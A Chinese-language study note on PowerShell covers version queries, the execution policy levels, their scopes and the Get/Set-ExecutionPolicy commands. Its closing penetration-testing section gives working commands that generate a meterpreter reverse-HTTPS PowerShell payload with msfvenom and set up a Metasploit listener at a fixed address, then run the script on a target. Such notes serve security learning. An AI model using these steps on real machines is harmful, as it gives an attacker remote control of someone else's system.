powershell知识点
ps1是powershell脚本的拓展名,就相当于cmd的.bat脚本,但是他更加强大。
获取版本信息
get-host
#查看powershell的版本信息
$psversiontable
#查看powershell的版本信息
执行策略
PowerShell 执行策略是一项安全功能,用于控制 PowerShell 加载配置文件和运行脚本的条件。 此功能有助于防止恶意脚本的执行。
关于策略的知识点
执行策略
脚本为Restricted是不能执行脚本的,Bypass是放行任何策略
AllSigned
只能运行经过数字证书签名的脚本;
Bypass
不阻止任何操作,并且没有任何警告或提示。
此执行策略适用于 PowerShell 脚本内置于较大应用程序的配置,或针对 PowerShell 是具有自身安全模型的程序基础的配置。
Default
设置默认执行策略。
Restricted 适用于 Windows 客户端的 。
适用于 Windows 服务器的 RemoteSigned。
RemoteSigned
运行本地的脚本不需要数字签名,但是运行从网络上下载的脚本就必须要有数字签名。
Restricted
默认的设置, 不允许任何脚本运行
Undefined
当前范围内没有设置执行策略。
如果所有范围内的执行策略都是 Undefined,则有效的执行策略 Restricted 适用于 Windows 客户端, RemoteSigned 适用于 Windows Server。
Unrestricted
允许所有的脚本运行;
策略的生效范围
MachinePolicy
#由组策略为计算机的所有用户设置。
UserPolicy
#由计算机当前用户的组策略设置。
Process
#范围 Process 仅影响当前 PowerShell 会话。 执行策略保存在环境变量 $env:PSExecutionPolicyPreference中,而不是注册表中。 关闭 PowerShell 会话时,变量和值将被删除。
CurrentUser
#执行策略仅影响当前用户。 它存储在 HKEY_CURRENT_USER 注册表子项中。
LocalMachine
#执行策略会影响当前计算机上的所有用户。 它存储在 HKEY_LOCAL_MACHINE 注册表子项中。
操作
Get-ExecutionPolicy
#获取当前会话的执行策略
Get-ExecutionPolicy -List
#获取影响当前会话的所有执行策略并按优先顺序显示它们
Get-ExecutionPolicy -Scope CurrentUser
#获取 CurrentUser 范围的执行策略.后面使用的是Scope ExecutionPolicy参数(就是
Get-ExecutionPolicy -List显示出来的)
Set-ExecutionPolicy -ExecutionPolicy <PolicyName>
#更改执行策略
Set-ExecutionPolicy -ExecutionPolicy <PolicyName> -Scope <scope>
#在特定范围内设置执行策略
渗透
1.生成powershell脚本
msfvenom -p windows/x64/meterpreter_reverse_https lhost=172.20.201.15 lport=443 -f psh > /mnt/c/Users/Administrator/Desktop/shell.ps1
2.打开msfconsile,打开监听模块
msfconsole
#打开msfconsole
use exploit/multi/handler
#打开监听
set payload windows/x64/meterpreter_reverse_https
#设置payload,要与上面保持一致,位数也要一致,不然会出问题
set lport 443
#设置监听端口
set lhost 172.20.201.15
#设置监听地址(与前面要一直)
3.在目标机器的powershell上运行脚本,需要对powershell的执行策略进行设置
没有对策略进行放行遇到的情况
执行成功,进行后渗透模块